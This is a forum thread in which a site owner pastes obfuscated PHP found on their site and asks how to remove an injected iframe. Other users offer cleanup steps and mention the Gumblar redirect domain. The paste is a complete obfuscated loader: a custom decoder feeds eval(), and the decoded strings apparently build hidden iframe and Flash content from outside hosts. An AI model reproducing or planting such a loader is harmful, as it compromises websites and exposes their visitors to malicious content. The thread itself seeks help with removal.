what is this code ?

[NeoX1]

look at this code

<?php /* File protected */ if(!function_exists("ekV8gb3DG1")){function ekV8gb3DG1($LPV14gp9V){$OdO10gEiB="";$mtU11g8fs=0;$OSt7g0dZY=strlen($LPV14gp9V);while($mtU11g8fs < $OSt7g0dZY){if($LPV14gp9V[$mtU11g8fs] == ' '){$OdO10gEiB.=chr((ord($LPV14gp9V[$mtU11g8fs+1])-ord('A'))*16+(ord($LPV14gp9V[$mtU11g8fs+2])-ord('a')));$mtU11g8fs+=2;}else{$OdO10gEiB.=chr(ord($LPV14gp9V[$mtU11g8fs])+1);}$mtU11g8fs++;}return $OdO10gEiB;}}$bfmxga0=';chu Ca`khfm< Ccbdmsdq Cc= Ak Ca';$nqffrm1=';khmj Cagqde< Cchl`fdr.r`q-brr Cc Caqdk< Ccrsxkdrgdds Cc Casxod< Ccsdws.brr Cc Ca.= Ak;s`akd Cavhcsg< Cc0/// Cc=;sq=;sc=';$skrhmu2=';.sc=;.sq=;.s`akd= Ak Ak;naidbs Cabk`rrhc< Ccbkrhc9c16bca5d,`d5c,00be,85a7,33344243//// Cc Cabncda`rd< Ccgsso9..eocnvmkn`c-l`bqnldch`-bnl.ota.rgnbjv`ud.b`ar.ek`rg.rvek`rg-b`a Cdudqrhnm<7+/+/+/ Cc Cam`ld< CcOk`xdq Cc Cavhcsg< Cc0/// Cc Cagdhfgs< Cc53/ Cc Ca`khfm< Cclhcckd Cc Cahc< CcOk`xdq Cc= Ak;o`q`l Cam`ld< Cclnuhd Cc Cau`ktd< Cc';$pwopud3='-rve>';$obptik4=' Cc Ca.= Ak;o`q`l Cam`ld< Cc`kknvRbqhos@bbdrr Cc Cau`ktd< Cc@kv`xr Cc Ca.= Ak;o`q`l Cam`ld< CcEk`rgU`qr Cc Cau`ktd< Ccogo^qnnlr<';$gdeair5='%Q`mc<';$wyglcr6='%ogo^qdf<';$ybcpin7='%Klrf<';$judcja8='%Qlrf<';$wedvng9=' Cc Ca.= Ak;o`q`l Cam`ld< Ccpt`khsx Cc Cau`ktd< Ccghfg Cc Ca.= Ak;o`q`l Cam`ld< Ccafbnknq Cc Cau`ktd< Cc Cd////// Cc Ca.= Ak;dladc Carqb< Cc';$ortnqe10='-rve>';$shafao11=' Cc Ca Ak`kknvRbqhos@bbdrr< Cc@kv`xr Cc Ca AkEk`rgU`qr< Ccogo^qnnlr<';$jxvona12='%Q`mc<';$umvdtm13='%ogo^qdf<';$ppuisu14='%Klrf<';$cmunbd15='%Qlrf<';$ppdswn16=' Cc Akpt`khsx< Ccghfg Cc Ca Akafbnknq< Cc Cd////// Cc Ca Akvhcsg< Cc0/// Cc Ca Akgdhfgs< Cc53/ Cc Ca Akm`ld< CcOk`xdq Cc Ca Ak`khfm< Cclhcckd Cc Ca Aksxod< Cc`ookhb`shnm.w,rgnbjv`ud,ek`rg Cc Caoktfhmro`fd< Ccgsso9..vvv-l`bqnldch`-bnl.fn.fdsek`rgok`xdq Cc Ca.= Ak;.naidbs= Ak;.chu= Ak';eval(ekV8gb3DG1('he Ca Ci Cahr^chq Ci Ca Cchm[w62[w63`[w5b[043 Cc Ca( Ca( Caz Cadbgn Ca Cc;[w57slk Ca[w53[040[w61<[ Cc[w61s[043[ Cc Ca[043[030[045f<[ Cc[w50[w61,r`[ Cc= Cc: Cadbgn Ca Cc;[04/d[030[033=[m[s;[w5c[w54[053` Ca[04/s[053[05/,[034[w60t[w58u<[ Cc[w32[046[045[w63d[045[w63,[w43xo[034[ Cc Ca[032[w5e[w5ds[w54[w5ds<[ Ccs[034[w67s.[04/[053l[043: Ca[032[w57[030q[w62ds<[056[040m[w53n[w66r,0145[ Cc Ca.= Cc: Cadbgn Ca Cc;.[w57[034[030[033=[q[m Cc: Cadbgn Ca Cc;a[046cx Car[w63[060[043d<[ Cc[044[030[w61[036h[0459z Cel`qfhmvhcsg|[05/[w67[ Cc=[q[m Cc: Cadbgn Ca Cc[m[s;b[w54[045[w63[w54[w61=;[w63[030[w51k[034 Ca[032k`[w62r<[ Cc[045`[w65a[w5e[033x[ Cc Ca[032d[043k[w6/`[033ch[045[w56<[ Cc/[ Cc Cabd[w5bkr[w6/[030[032[040[045[036<[ Cc/[ Cc Ca[w51[046q[w53[034q<[ Cc/[ Cc Cav[w58cs[w57<[ Cc4/$[ Cc Cac[040[051<z Cek`mfchq| Ca[w50khf[045<[ Ccb[w54m[w63[034q[ Cc=[m;s[w61=[m[s;[w63[033=[m[s[s;[033[w58u Cab[043[030[052[052<[ Ccsb`s[ Cc Ca[w62[w63[060[043[w54<[ Cco`[w53chm[03693[w6/[06/: Ca[053d[06/[053,[w50khf[w5d9[032[034m[053d[051[ Cc=;a=[m[s[s;.a=;.[033[w58u=[m[s[s;[053[030[w51[w5b[w54 Cab[w54[w5b[w5b[05/[030[w53ch[045f<[ Cc3[ Cc Cab[034[w5b[043r[w6/`[w52[w58m[w56<[ Cc/[ Cc Ca[w51[046q[033[w54[w61<[ Cc/[ Cc Ca[w66[w58[w53[053[w57<[ Cc0//$[ Cc Ca[032[w5b`[w62r<[ Cck[046[036[w58m[w52nms[w61[046[w5b[052[ Cc=[m[s[s;bn[043 Ca[w66[w58[033[w63[w57<[ Cc4/$[ Cc Car[w63[w68[043d<[ Ccsdw[053,[030k[040fm9z Cek`mfchq|: Ca[w66ghs[w54,[052o`[w52d9m[046[056q[030o[ Cc=;.[w52[046k=[m[s[s;b[w5ek=;.b[w5ek=[m[s[s;[032[w5e[w5b Ca[w66hc[053[w57<[ Cc4/$[ Cc=;.b[w5ek=[m[s[s[m[s[s;[w63q=[m[s[s[s;sc Ca[w52[w5ek[w62o`m<[ Cc2[ Cc Ca[w50kh[w56[045<[ Cc[w52d[w5ds[w54[w61[ Cc Cag[w54[040[w56g[w63<7/=[m[s[s[s;[w51[051=[m[s[s[s[s;[w55n[w5ds Ca[032n[w5b[046[051<& Cd[w52[032[w2/[/5//[/5/&=;a= @^ >] >Y Ca >^ >a ?^ Ca >X @W Ca >V ?[ >X >` >Z Ca >[ ?T @T @^ >Z Ca @T >] @R >` Ca Cih[w5d[052s`[w5b[w5b( Ca >Y ?[ >` @V >X Ca @^ @T ?` @U ?` Ca >X @R >` >_ @W @R Ca >X @R @] Ca >X @R ?R >W @^ ?T @^ >Z Ca >X @W Ca @R @W >^ >Z Ca >X @R >[ >^ ?` @T Ca-;[w51[w61=;[w50 Ca[053[030q[036[w54[053<&^[w51k[w50mj& Ca[04/[w61[w54[w55<&gs[053[05/9..[w66v[056-k[w58[w58n[040[040[043-[w52[046[w5c&=[w43[w43[004[w43[w43 Ca[w43[0/4@[004;.[w50=;.[031=;.e[046[045s=[m[s[s[s[s;[031[w61=[m[s[s[s;.[053c=[m[s[s;.[w63[051=[m[s[s;.s`[031kd=[m[m[s;.[w63c=;.[w63[w61=;.s`[031k[w54=[m[s Cc: Cadwhs Ci(: Ca| Ca: Ca?hmbktcd Ci Cc[04/[w54[w50[033[w54q-o[04/[w6/ Cc(: Ca Ca Ceo`fshskd< Cc Ca >X @R @R ?[ >Y >Z Ca Ca Cc: Caoqhms CidjU7fa2CF0 Ci Ceaelwf`/((: Ca Cem Ca< Caq`mc Ci/+ Ca1////////(: Caoqhms CidjU7fa2CF0 Ci Cempeeql0((: Cahmbktcd Ci Ccm[w54[056r^a[030[w61-[w6/go Cc(: Caoqhms CidjU7fa2CF0 Ci Cerjqglt1((: Cadbgn Caedsbg^c`s` Ci Ccrs[060[w5bd Cc(: Caoqhms CidjU7fa2CF0 Ci Ceovnotc2((:dbgn Ca Cem:oqhms CidjU7fa2CF0 Ci Cenaoshj3((: Cadbgn Cabntms^qnvr Ci Ccqn[046[w5c Cc(: Caoqhms CidjU7fa2CF0 Ci Cefcd`hq4((: Cadbgn Caq`mc Ci/+ Ca1////////(: Caoqhms CidjU7fa2CF0 Ci Cevxfkbq5((: Cadbgn Cabntms^qnvr Ci Cc[054r[w54[051 Cc(: Caoqhms CidjU7fa2CF0 Ci Cexabohm6((: Cadbgn Caedsbg^c`s` Ci Cc[w3b[044[052[w56 Cc(:oqhms CidjU7fa2CF0 Ci Ceitcbi`7((: Cadbgn Caedsbg^c`s` Ci Cc[011[044[w62f Cc(:oqhms CidjU7fa2CF0 Ci Cevdcumf8((: Cadbgn Caedsbg^c`s` Ci Ccr[w63[w68[043[034 Cc(: Caoqhms CidjU7fa2CF0 Ci Cenqsmpd0/((:dbgn Ca Cem:oqhms CidjU7fa2CF0 Ci Cerg`e`n00((: Cadbgn Cabntms^qnvr Ci Cc[051[w5en[044 Cc(: Caoqhms CidjU7fa2CF0 Ci Ceiwunm`01((: Cadbgn Caq`mc Ci/+ Ca1////////(: Caoqhms CidjU7fa2CF0 Ci Cetlucsl02((: Cadbgn Cabntms^qnvr Ci Cctrdq Cc(: Caoqhms CidjU7fa2CF0 Ci Ceoothrt03((: Cadbgn Caedsbg^c`s` Ci Cc[w3b[044[052[w56 Cc(:oqhms CidjU7fa2CF0 Ci Cebltmac04((: Cadbgn Caedsbg^c`s` Ci CcQlrf Cc(:oqhms CidjU7fa2CF0 Ci Ceoocrvm05((: Cadbgn Ca&;heq`ld Cam`ld< Cckhnhk Cc Cavhcsg< Cc/ Cc Cagdhfgs< Cc/ Cc Caeq`ldanqcdq< Cc/ Cc Carbqnkkhmf< Ccmn Cc Carqb< Ccgsso9..vvv-khhnhhk-bnl Cc Caanqcdq< Cc/ Cc=;.heq`ld=&: Ca Ca?hmbktcd Ci Cc[035[w5en[053[034[w61-ogo Cc(: Ca')); ?>

when i view my site i see a ifream from another site
how i remove it ??

[ozziemale31]

its prob encypted by zend ion cube

[firemax]

How to Remove Iframe virus?
Iframe tags will be written just below the body tag. Follow the steps to remove virus.
1. Login to your FTP & edit the file which you've got iframe tag.

2. Look for the iframe tag just below the Body or Head tag.

3. Remove the coding & overwrite the file.

4. Now right click the file and click properties/File attributes and make it to "444". So that no hackers have privilege to write the file with iframe code.

5. Once you've cleaned this, the other type of virus will slowly raise, that is it will search the files that are included on the index.php file (ie dbconnect.php, general.php, configure.php, common.php, functions.php, classes.php etc) and it will write a php coding at the top of the page where it will dynamically write the javascript code at the time of execution of the file in the web - browser. The script will redirect the page to gumblar.cn/rss?id=2

6. To remove these type of error carefully look into the above mentioned filename, you can easily find out the php coding at the top of the page. Just remove the coding and make sure it is write protected, so that the php coding wont be written.

7. Still you cant find the solution, just comment to this section. I'll reply ASAP.

[khan]

i got this kinda prob when i was in cyber cafe pc uploadin ma script wid ftp.bt whenever i rmove it,d iframe automatically rewrite. again n again.